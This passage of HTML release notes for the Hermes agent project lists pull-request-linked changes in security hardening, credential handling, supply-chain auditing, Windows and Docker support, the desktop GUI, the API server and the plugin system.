<li>Protect Hermes control-plane files from prompt injection (<code>auth.json</code>, <code>config.yaml</code>, <code>webhook_subscriptions.json</code>, <code>mcp-tokens/</code>). (salvages <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a>'s <a href="https://github.com/NousResearch/hermes-agent/pull/14157" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14157/hovercard">#14157</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30397/hovercard">#30397</a>)</li>
<li>Write-deny <code>&lt;root&gt;/.env</code> when running under a profile. (<a href="https://github.com/NousResearch/hermes-agent/pull/29687" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29687/hovercard">#29687</a>)</li>
<li>Defense-in-depth read-deny on credential stores. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/17659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17659/hovercard">#17659</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/8055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/8055/hovercard">#8055</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30721" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30721/hovercard">#30721</a>)</li>
<li>TTS <code>output_path</code> traversal + update ZIP symlink reject. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/6693" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/6693/hovercard">#6693</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/15881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15881/hovercard">#15881</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32056" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32056/hovercard">#32056</a>)</li>
<li>Reject symlinked audio inputs. (<a href="https://github.com/NousResearch/hermes-agent/pull/10082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10082/hovercard">#10082</a>)</li>
</ul>
<h3>Credential safety</h3>
<ul>
<li>Avoid persisting borrowed credential secrets — runtime env-sourced keys no longer leak into <code>auth.json</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31416/hovercard">#31416</a>)</li>
<li>Validate Nous Portal <code>inference_base_url</code> against host allowlist. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27612/hovercard">#27612</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30611/hovercard">#30611</a>)</li>
<li>Harden API server key placeholder handling. (<a href="https://github.com/NousResearch/hermes-agent/pull/30738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30738/hovercard">#30738</a>)</li>
<li>Harden Google Chat OAuth credential persistence. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24788/hovercard">#24788</a>)</li>
<li>xAI OAuth: pin inference <code>base_url</code> to x.ai origin. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li>Quarantine dead OAuth tokens on terminal refresh failure (xAI, Codex, MiniMax). (<a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28118/hovercard">#28118</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28119" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28119/hovercard">#28119</a>)</li>
</ul>
<h3>Supply-chain</h3>
<ul>
<li><strong>On-demand supply-chain audit via OSV.dev</strong> — <code>hermes audit</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31460/hovercard">#31460</a>)</li>
<li><code>hermes update</code> syntax-validates critical files post-pull, auto-rollback on failure. (<a href="https://github.com/NousResearch/hermes-agent/pull/28669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28669/hovercard">#28669</a>)</li>
<li>Quarantine <code>hermes.exe</code> vs concurrent Windows instance. (<a href="https://github.com/NousResearch/hermes-agent/pull/26677" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26677/hovercard">#26677</a>)</li>
</ul>
<h3>Other hardening</h3>
<ul>
<li>Restrict default webhook toolset capabilities. (<a href="https://github.com/NousResearch/hermes-agent/pull/30745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30745/hovercard">#30745</a>)</li>
<li>Harden Microsoft Graph webhook auth requirements. (<a href="https://github.com/NousResearch/hermes-agent/pull/30169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30169/hovercard">#30169</a>)</li>
<li>Require source CIDR allowlisting for public msgraph webhook binds. (<a href="https://github.com/NousResearch/hermes-agent/pull/33722" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33722/hovercard">#33722</a>)</li>
<li>Require <code>API_SERVER_KEY</code> before dispatching API server work. (<a href="https://github.com/NousResearch/hermes-agent/pull/33232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33232/hovercard">#33232</a>)</li>
<li>env_passthrough: apply GHSA-rhgp-j443-p4rf filter to config.yaml path. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27794" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27794/hovercard">#27794</a>)</li>
<li>Dashboard + WeCom: restrict markdown link schemes; safe-parse untrusted XML. (<a href="https://github.com/NousResearch/hermes-agent/pull/32442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32442/hovercard">#32442</a>)</li>
<li>Salvage project-plugin RCE bypass fix from PR <a href="https://github.com/NousResearch/hermes-agent/pull/29311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29311/hovercard">#29311</a> (GHSA-5qr3-c538-wm9j). (<a href="https://github.com/NousResearch/hermes-agent/pull/30837" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30837/hovercard">#30837</a>)</li>
<li>Cross-profile soft guard on file-write tools + system-prompt hint. (<a href="https://github.com/NousResearch/hermes-agent/pull/31290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31290/hovercard">#31290</a>)</li>
<li>Reject unsafe tar members in Android psutil compatibility installer. (<a href="https://github.com/NousResearch/hermes-agent/pull/33742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33742/hovercard">#33742</a>)</li>
<li>Reject non-regular tar members during tirith auto-install. (<a href="https://github.com/NousResearch/hermes-agent/pull/33786" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33786/hovercard">#33786</a>)</li>
</ul>
<hr>
<h2>🪟 Native Windows (Beta Continued)</h2>
<ul>
<li>Thin desktop installer + first-launch <code>install.ps1</code> bootstrap. (<a href="https://github.com/NousResearch/hermes-agent/pull/27822" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27822/hovercard">#27822</a>)</li>
<li>Complete Windows bootstrap — <code>dep_ensure</code> + <code>install.ps1</code> + detection. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27845/hovercard">#27845</a>)</li>
<li><code>install.ps1</code>: strip BOM, <code>-Commit</code>/<code>-Tag</code> pin params, harden git ops. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28169/hovercard">#28169</a>)</li>
<li>Consolidate ACP browser bootstrap into <code>install.{sh,ps1}</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27851/hovercard">#27851</a>)</li>
<li><code>hermes update</code> quarantines live <code>hermes.exe</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/26677" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26677/hovercard">#26677</a>)</li>
<li>Discord voice opus decoding on Windows. (<a href="https://github.com/NousResearch/hermes-agent/pull/33182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33182/hovercard">#33182</a>)</li>
<li>Windows Docker Desktop compatible compose file. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31031" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31031/hovercard">#31031</a>)</li>
</ul>
<hr>
<h2>🖼️ Hermes Desktop GUI</h2>
<ul>
<li><code>hermes gui</code> launcher — install + build + launch packaged Electron app. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30165/hovercard">#30165</a>)</li>
<li>Desktop UI lift. (<a href="https://github.com/NousResearch/hermes-agent/pull/27227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27227/hovercard">#27227</a>)</li>
<li><code>nix</code> package <code>.#desktop</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28964" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28964/hovercard">#28964</a>)</li>
<li>Hardened Slack socket recovery + Windows desktop restart dedupe. (<a href="https://github.com/NousResearch/hermes-agent/pull/28873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28873/hovercard">#28873</a>)</li>
<li>Web dashboard: migrate checkboxes to <code>@nous-research/ui</code> + design-system polish. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28814" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28814/hovercard">#28814</a>)</li>
<li>Web dashboard: collapsible sidebar. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33421/hovercard">#33421</a>)</li>
<li>Dashboard typography &amp; contrast pass. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/28832" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28832/hovercard">#28832</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30714" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30714/hovercard">#30714</a>)</li>
<li>Skills page: lazy-fetch catalog instead of bundling 34MB into JS. (<a href="https://github.com/NousResearch/hermes-agent/pull/33809" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33809/hovercard">#33809</a>)</li>
</ul>
<hr>
<h2>🐳 Docker</h2>
<ul>
<li><strong>s6-overlay container supervision</strong> — abstract <code>ServiceManager</code> protocol (systemd/launchd/Windows/s6 backends), per-profile gateway supervision in-container, container-restart reconciliation, hadolint/shellcheck CI. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30136/hovercard">#30136</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31760/hovercard">#31760</a>)</li>
<li>Auto-redirect <code>gateway run</code> to supervised mode inside the s6 image. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33583/hovercard">#33583</a>)</li>
<li>Tee supervised gateway stdout to docker logs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33621" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33621/hovercard">#33621</a>)</li>
<li>Drop <code>docker exec</code> to hermes uid before invoking the CLI. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33628/hovercard">#33628</a>)</li>
<li>Align HOME for dashboard and s6 gateway services. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33481" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33481/hovercard">#33481</a>)</li>
<li>Bake build-time git SHA into image so <code>hermes dump</code> reports it. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33655/hovercard">#33655</a>)</li>
<li><code>hermes update</code> prints <code>docker pull</code> guidance instead of bogus git error. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33659/hovercard">#33659</a>)</li>
<li>Upgrade Node to 22 LTS via multi-stage from <code>node:22-bookworm-slim</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33060/hovercard">#33060</a>)</li>
<li>Drop <code>build-essential</code> from apt install. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33028/hovercard">#33028</a>)</li>
<li>Propagate env through s6 to cont-init and main CMD. (<a href="https://github.com/NousResearch/hermes-agent/pull/32412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32412/hovercard">#32412</a>)</li>
<li>Targeted chown to preserve host file ownership in <code>HERMES_HOME</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/33033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33033/hovercard">#33033</a>)</li>
<li><code>mkdir HERMES_HOME</code> as root in stage2 before chown / privilege drop. (<a href="https://github.com/NousResearch/hermes-agent/pull/33078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33078/hovercard">#33078</a>)</li>
<li>chown <code>ui-tui</code> and <code>node_modules</code> on UID remap so TUI esbuild works. (<a href="https://github.com/NousResearch/hermes-agent/pull/33045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33045/hovercard">#33045</a>)</li>
<li>Include <code>anthropic</code>, <code>bedrock</code>, <code>azure-identity</code> extras in image. (<a href="https://github.com/NousResearch/hermes-agent/pull/30504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30504/hovercard">#30504</a>)</li>
<li>Stop pushing per-commit SHA tags to Docker Hub. (<a href="https://github.com/NousResearch/hermes-agent/pull/29387" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29387/hovercard">#29387</a>)</li>
<li>Simplify Docker tagging — push both <code>:main</code> and <code>:latest</code> on main push. (<a href="https://github.com/NousResearch/hermes-agent/pull/33225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33225/hovercard">#33225</a>)</li>
<li>Test slicing across GH actions jobs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30575" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30575/hovercard">#30575</a>)</li>
<li>Discover agent-browser Chromium binary at boot. (<a href="https://github.com/NousResearch/hermes-agent/pull/33184" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33184/hovercard">#33184</a>)</li>
</ul>
<hr>
<h2>🌐 API Server</h2>
<ul>
<li><strong>Session control API</strong> — <code>/api/sessions/*</code> (list/create/read/patch/delete/fork) + SSE-streaming chat. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/29302" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29302/hovercard">#29302</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a> + multimodal followup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33134/hovercard">#33134</a>)</li>
<li><code>GET /v1/skills</code> and <code>/v1/toolsets</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/33016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33016/hovercard">#33016</a>)</li>
<li>Coerce stringified booleans in stream/store/approval payloads. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/26639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26639/hovercard">#26639</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27293/hovercard">#27293</a>)</li>
<li>Honor <code>key_env</code> in auth-failure fallback resolution. (<a href="https://github.com/NousResearch/hermes-agent/pull/30840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30840/hovercard">#30840</a>)</li>
</ul>
<hr>
<h2>🎟️ ACP (VS Code / Zed / JetBrains)</h2>
<ul>
<li>Session edit auto-approval modes. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/27034" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27034/hovercard">#27034</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27862" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27862/hovercard">#27862</a>)</li>
<li>Enrich Zed permission cards — command in title + <code>reject_always</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28148" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28148/hovercard">#28148</a>)</li>
<li>Replay session history before responding to <code>session/load</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/26957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26957/hovercard">#26957</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26943/hovercard">#26943</a>)</li>
<li>Plugin-transformed final_response delivered through streaming gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31433" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31433/hovercard">#31433</a>)</li>
</ul>
<hr>
<h2>🔌 Plugin Surface</h2>
<ul>
<li><code>register_tts_provider()</code> plugin hook. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30420/hovercard">#30420</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31745/hovercard">#31745</a>)</li>
<li><code>register_transcription_provider()</code> hook + <code>stt.providers</code> command-provider registry. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30493/hovercard">#30493</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31907/hovercard">#31907</a>)</li>
<li><code>register_auxiliary_task()</code> in PluginContext API. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29817/hovercard">#29817</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31177" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31177/hovercard">#31177</a>)</li>
<li>Bundled <code>security-guidance</code> plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/33131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33131/hovercard">#33131</a>)</li>
<li>Discord and Mattermost migrated to bundled plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/30591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30591/hovercard">#30591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31748" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31748/hovercard">#31748</a>)</li>
<li>ntfy as platform plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</li>
<li>Surface category-namespaced plugins in <code>hermes plugins list</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/27187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27187/hovercard">#27187</a>)</li>
<li>Plugin discovery failures raised to WARNING level. (<a href="https://github.com/NousResearch/hermes-agent/pull/28318" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28318/hovercard">#28318</a>)</li>
<li><code>hermes_plugins</code> included in gateway.log component filter. (<a href="https://github.com/NousResearch/hermes-agent/pull/28313" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28313/hovercard">#28313</a>)</li>
<li>Seed plugin extras before <code>is_connected</code> gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31703/hovercard">#31703</a>)</li>
<li>Dashboard: allowlist plugin assets + denylist subprocess-influencing env vars. (<a href="https://github.com/NousResearch/hermes-agent/pull/32277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32277/hovercard">#32277</a>)</li>
</ul>
<hr>
<h2>📦 Distribution &amp; Install</h2>
<ul>
<li>Install-method stamping + Docker detection. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27843/hovercard">#27843</a>)</li>
<li>Nix <code>#messaging</code> and <code>#full</code> package variants. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33108/hovercard">#33108</a>)</li>
<li>Pre-load messaging gateway deps via <code>--extra messaging</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/26394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26394/hovercard">#26394</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27558/hovercard">#27558</a>)</li>
<li>Avoid piping installer directly into <code>iex</code> (Windows). (<a href="https://github.com/NousResearch/hermes-agent/pull/28347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28347/hovercard">#28347</a>)</li>
<li>Ship bundled skills in wheel. (<a href="https://github.com/NousResearch/hermes-agent/pull/28421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28421/hovercard">#28421</a>)</li>
<li>Ship dashboard plugin assets in wheel. (<a href="https://github.com/NousResearch/hermes-agent/pull/28406" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28406/hovercard">#28406</a>)</li>
<li>Make Camofox lazy-installed instead of eager. (<a href="https://github.com/NousResearch/hermes-agent/pull/27055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27055/hovercard">#27055</a>)</li>
<li>Wire STT lazy-install into transcription_tools.py. (<a href="https://github.com/NousResearch/hermes-agent/pull/30256" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30256/hovercard">#30256</a>)</li>
</ul>
<hr>
<h2>🐛 Notable Bug Fixes (highlights only)</h2>
<ul>
<li>Match bare custom provider by active base URL in <code>hermes model</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28908/hovercard">#28908</a>)</li>
